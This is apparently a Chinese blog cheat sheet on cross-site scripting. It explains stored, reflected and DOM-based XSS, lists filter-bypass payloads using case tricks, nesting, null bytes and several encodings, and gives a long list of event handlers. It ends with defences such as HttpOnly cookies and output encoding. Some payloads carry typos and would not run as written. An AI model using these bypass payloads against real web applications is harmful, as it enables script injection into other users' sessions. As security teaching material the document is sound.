xss产生的原因是将恶意的html脚本代码插入web页面,底层原理和sql注入一样,都是因为js和php等都是解释性语言,会将输入的当做命令执行,所以可以注入恶意代码执行我们想要的内容
xss分类
存储型xss:
js脚本代码会插入数据库,具有一定的持久性
反射型xss:
js经过后端php等语言处理
dom型xss:
和反射型xss类似,但是不经过后端服务器的处理
xss绕过总结:
自身绕过
<script>alert('xss')</script> //没有过滤
<Script>alert('xss')</Script> //大小写绕过
<scscriptript>alert('xss')</scscriptript> //嵌套绕过
<sc\x00ript>alert('xss')</sc\x00ript> //空字节绕过
" oonnclick=alert('XSS') //
//闭合单双引号绕过(对于html实体输入的和过滤< >)
其他标签绕过
<a herf="javascript:alert(1)">show</a>
<body onload=alert(1)>
<input type=image src=http://www.likecs.com/x:x onerror=alert(1)>
<isindex >
<form oninput=alert(1)><input></form>
<textarea autofocus onfocus=alert(1)>
<input oncut=alert(1)>
<svg onload=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="alert(1)">
<marquee onstart=alert(1)>
编码绕过
base64编码绕过
<a herf="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">show</a>
<img src="http://www.likecs.com/x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
Unicode编码绕过
在线编码地址:
<img src="http://www.likecs.com/x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
<script>\u0061lert(1)</script>
<img src="http://www.likecs.com/x" onerror="alert("xss");">
url编码绕过
<img src="http://www.likecs.com/x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
Ascii码绕过
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>
可使用浏览器插件快速编码
hex绕过
<img src=http://www.likecs.com/x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
十进制,八进制,十六进制
<img src=http://www.likecs.com/x onerror="\u0061lert(1)"/>
<img src=http://www.likecs.com/x onerror="eval('\141lert(1)')"/>
<img src=http://www.likecs.com/x onerror="eval('\x61lert(1)')"/>
<img src=http://www.likecs.com/x onerror=”alert(1)”/>
<img src=http://www.likecs.com/x onerror=”alert(1)”/>
<img src=http://www.likecs.com/x onerror=”eval(‘\a\l\ert(1)‘)”/>
补充:on事件
onsearch
onwebkitanimationend
onwebkitanimationiteration
onwebkitanimationstart
onwebkittransitionend
onabort
onblur
oncancel
oncanplay
oncanplaythrough
onchange
onclick
onclose
oncontextmenu
oncuechange
ondblclick
ondrag
ondragend
ondragenter
ondragleave
ondragover
ondragstart
ondrop
ondurationchange
onemptied
onended
onerror
onfocus
onformdata
oninput
oninvalid
onkeydown
onkeypress
onkeyup
onload
onloadeddata
onloadedmetadata
onloadstart
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
onmousewheel
onpause
onplay
onplaying
onprogress
onratechange
onreset
onresize
onscroll
onseeked
onseeking
onselect
onstalled
onsubmit
onsuspend
ontimeupdate
ontoggle
onvolumechange
onwaiting
onwheel
onauxclick
ongotpointercapture
onlostpointercapture
onpointerdown
onpointermove
onpointerup
onpointercancel
onpointerover
onpointerout
onpointerenter
onpointerleave
onselectstart
onselectionchange
onanimationend
onanimationiteration
onanimationstart
ontransitionend
onafterprint
onbeforeprint
onbeforeunload
onhashchange
onlanguagechange
onmessage
onmessageerror
onoffline
ononline
onpagehide
onpageshow
onpopstate
onrejectionhandled
onstorage
onunhandledrejection
onunload
长度限制的绕过:
可以利用事件如:
"onclick=alert(1)// 来减少字数
将代码藏入location.hash中,构造为
"onclick="eval(location.hash.sustr(1))
注释将两个文本框变为一个
奇怪的符号解析
<svg/onload=alert()>
<script/src=http://www.likecs.com//⑭.₨>
参考文章:https://nosec.org/home/detail/3206.html
xss防御
设置cookie中设置httponly属性,那么js脚本将无法读取到cookie信息
PHP5(PHP5.2以上版本已支持HttpOnly参数的设置,同样也支持全局的HttpOnly的设置,在php.ini中设置,设置其值为1或者TRUE,来开启全局的Cookie的HttpOnly属性)
session.cookie_httponly =
当然代码也能实现:
ini_set("session.cookie_httponly", 1);
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);
限制输入长度,在业务内减少用户能输入长度,像年龄,用户名等地方限制15个字符,几乎就很难xss(个人理解)
过滤业务用不到的字符如< >,script等标签字符
输出检查,输出到url的进行URLEncode,输出进行html实体化输出
成熟框架相对安全些(注意是相对)
参考文章